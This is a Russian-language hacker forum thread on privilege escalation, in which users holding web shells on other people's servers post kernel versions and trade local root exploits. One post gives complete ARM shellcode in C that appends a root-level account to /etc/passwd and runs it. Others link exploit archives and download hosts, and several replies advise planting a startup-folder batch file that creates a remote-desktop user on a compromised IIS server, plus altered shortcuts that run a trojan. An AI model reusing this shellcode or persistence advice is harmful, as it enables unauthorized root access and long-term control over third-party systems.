повышение прав [задай вопрос - получи ответ]

Discussion in 'Уязвимости' started by Konqi, 15 Oct 2010.

Thread Status:
Not open for further replies.
  1. valyka80

    valyka80 Banned

    Joined:
    14 Jun 2010
    Messages:
    163
    Likes Received:
    20
    Reputations:
    16
    Есть шелл,нужен сплоит (первый раз встречаю Macintosh HD)

    Server.local 9.8.0 Darwin Kernel Version 9.8.0: Wed Jul 15 16:55:01 PDT
    2009; root:xnu-1228.15.4~1/RELEASE_I386 i386
     
  2. ubi

    ubi Elder - Старейшина

    Joined:
    25 Dec 2009
    Messages:
    308
    Likes Received:
    76
    Reputations:
    19
    Linux vps1.pdm.su 2.6.26-2-openvz-amd64 #1 SMP Sun Jun 20 20:28:43 UTC 2010 x86_64
     
  3. valyka80

    valyka80 Banned

    Joined:
    14 Jun 2010
    Messages:
    163
    Likes Received:
    20
    Reputations:
    16
    https://rdot.org/forum/archive/index.php/t-714.html
    http://www.securityfocus.com/bid/36901/exploit
     
    1 person likes this.
  4. DCrypt

    DCrypt Banned

    Joined:
    21 Jan 2010
    Messages:
    367
    Likes Received:
    35
    Reputations:
    1
    Не могу нормально скомпилить. Даже на своей машине.

    Code:
    #include <stdio.h>
     
     
    char SC[] =
                /* Thumb mode */
                "\x05\x50\x45\xe0"  /* sub  r5, r5, r5 */
                "\x01\x50\x8f\xe2"  /* add  r5, pc, #1 */
                "\x15\xff\x2f\xe1"  /* bx   r5 */
     
                /* open("/etc/passwd", O_WRONLY|O_CREAT|O_APPEND, 0644) = fd */
                "\x78\x46"          /* mov  r0, pc */
                "\x7C\x30"          /* adds r0, #124 */
                "\xff\x21"          /* movs r1, #255 */
                "\xff\x31"          /* adds r1, #255 */
                "\xff\x31"          /* adds r1, #255 */
                "\xff\x31"          /* adds r1, #255 */
                "\x45\x31"          /* adds r1, #69 */
                "\xdc\x22"          /* movs r2, #220 */
                "\xc8\x32"          /* adds r2, #200 */
                "\x05\x27"          /* movs r7, #5 */
                "\x01\xdf"          /* svc  1 */
     
                /* r8 = fd */
                "\x80\x46"          /* mov  r8, r0 */
     
                /* write(fd, "shell-storm:$1$KQYl/yru$PMt02zUTW"..., 72) */
                "\x41\x46"          /* mov  r1, r8 */
                "\x08\x1c"          /* adds r0, r1, #0 */
                "\x79\x46"          /* mov  r1, pc */
                "\x18\x31"          /* adds r1, #24 */
                "\xc0\x46"          /* nop (mov r8, r8) */
                "\x48\x22"          /* movs r2, #72 */
                "\x04\x27"          /* movs r7, #4 */
                "\x01\xdf"          /* svc  1 */
     
                /* close(fd) */
                "\x41\x46"          /* mov  r1, r8 */
                "\x08\x1c"          /* adds r0, r1, #0 */
                "\x06\x27"          /* movs r7, #6 */
                "\x01\xdf"          /* svc  1 */
     
                /* exit(0) */
                "\x1a\x49"          /* subs r1, r1, r1 */
                "\x08\x1c"          /* adds r0, r1, #0 */
                "\x01\x27"          /* movs r7, #1 */
                "\x01\xdf"          /* svc  1 */
     
                /* shell-storm:$1$KQYl/yru$PMt02zUTWmMvPWcU4oQLs/:0:0:root:/root:/bin/bash\n */
                "\x73\x68\x65\x6c\x6c\x2d\x73\x74\x6f\x72"
                "\x6d\x3a\x24\x31\x24\x4b\x51\x59\x6c\x2f"
                "\x79\x72\x75\x24\x50\x4d\x74\x30\x32\x7a"
                "\x55\x54\x57\x6d\x4d\x76\x50\x57\x63\x55"
                "\x34\x6f\x51\x4c\x73\x2f\x3a\x30\x3a\x30"
                "\x3a\x72\x6f\x6f\x74\x3a\x2f\x72\x6f\x6f"
                "\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73"
                "\x68\x0a"
     
                /* /etc/passwd */
                "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
     
     
    int main(void)
    {
            fprintf(stdout,"Length: %d\n",strlen(SC));
            (*(void(*)()) SC)();
    return 0;
    }
    
    
    
    
    
     
  5. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    Попробуй добавить ещё
    #include <string.h>
     
    1 person likes this.
  6. valyka80

    valyka80 Banned

    Joined:
    14 Jun 2010
    Messages:
    163
    Likes Received:
    20
    Reputations:
    16
    У меня без проблем (2.6.17-gentoo-r8)
    попробуй так:
    gcc -o file file.c -lpthread

    скомпилил
    http://depositfiles.com/files/2sebpiiyg
     
  7. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    Залил шелл на Win-сервер. К несчастью, там IIS, поэтому права обрезаны по самые уши. Есть Remote Deskop там, но паролей я не знаю. Могу создавать файлы в некоторых папках, например, C:\Documents and Settings\All Users\. Думаю, залить трой или еще что-нибудь, вдруг админ или пользователь запустит его :) Что есть из пабликового?
     
  8. z0mbyak

    z0mbyak Active Member

    Joined:
    10 Apr 2010
    Messages:
    537
    Likes Received:
    200
    Reputations:
    293
    Если есть вариант залить в папку с автозагрузкой (по умолчанию C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка) батник с созданием пользователя удаленного стола, то так и делай:)
    Так же можешь подредактировать ярлыки программ (вставив запуск своего файла) если нет, то хоть версию iis скажи...
     
    #48 z0mbyak, 29 Nov 2010
    Last edited: 29 Nov 2010
  9. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    ищу под 2.6.18-194
     
  10. Karantin

    Karantin Elder - Старейшина

    Joined:
    21 Dec 2007
    Messages:
    330
    Likes Received:
    146
    Reputations:
    24
    http://www.exploit-db.com/exploits/15609/
     
  11. valyka80

    valyka80 Banned

    Joined:
    14 Jun 2010
    Messages:
    163
    Likes Received:
    20
    Reputations:
    16
    Попробуй этот

    http://depositfiles.com/files/gw7ce1mnu
     
  12. HBWS

    HBWS Member

    Joined:
    26 Nov 2010
    Messages:
    226
    Likes Received:
    22
    Reputations:
    0
    Не плохая идея кстати, только не в C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка, а в
    C:\Documents and Settings\Admin\Главное меню\Программы\Автозагрузка, ну или какой там юзер с админ правами, так папка и будет называться (посмотри командой net user). Ну это подойдет только если сервак ребутают вообще.
     
  13. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    Не компилится. Кто-нибудь может поправить?
    Перезалил.
     
  14. z0mbyak

    z0mbyak Active Member

    Joined:
    10 Apr 2010
    Messages:
    537
    Likes Received:
    200
    Reputations:
    293
    Попробуй слоитпак enlightenment там под эту ветку кажись было...
    http://grsecurity.net/~spender/enlightenment.tgz
     
  15. GIG

    GIG New Member

    Joined:
    17 Apr 2010
    Messages:
    46
    Likes Received:
    4
    Reputations:
    5
    При комплиировании:
    Code:
    sh-3.2$ gcc -o file 1.c
    In file included from 1.c:20:
    /usr/include/linux/atm.h:210: error: expected specifier qualifier-list before 'uint32_t'
    Uname a :
    Code:
    Linux 2.6.18-128.7.1.el5 #1 SMP Wed Aug 19 04:00:44 EDT 2009 i686 athlon i386 GNU/Linux
    Эксплоит :
    http://www.exploit-db.com/exploits/10613/

    подскажите в чем проблема.
     
  16. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Code:
    $ uname -a
    Linux ***.com 2.6.18-028stab070.5 #1 SMP Fri Sep 17 15:37:23 MSD 2010 i686 i686 i386 GNU/Linux
    
    есть что?
     
  17. valyka80

    valyka80 Banned

    Joined:
    14 Jun 2010
    Messages:
    163
    Likes Received:
    20
    Reputations:
    16
    GIG
    ты напиши подробно какая и в какой строке ошибка
    (там может путь не катит)
     
  18. GIG

    GIG New Member

    Joined:
    17 Apr 2010
    Messages:
    46
    Likes Received:
    4
    Reputations:
    5
    а то что я написал выше , это что по твоему?
     
  19. valyka80

    valyka80 Banned

    Joined:
    14 Jun 2010
    Messages:
    163
    Likes Received:
    20
    Reputations:
    16
    sorry я хотел бы узнать подробнее ошибку
    там сто пудов путь исправить надо
     
  20. z0mbyak

    z0mbyak Active Member

    Joined:
    10 Apr 2010
    Messages:
    537
    Likes Received:
    200
    Reputations:
    293
    Linux server01 2.6.25.9 #1 Thu Jun 26 18:54:56 CEST 2008 i686

    Не подскажите сплоит?-)

    P.S. из enlightenment не подошли...
     
Thread Status:
Not open for further replies.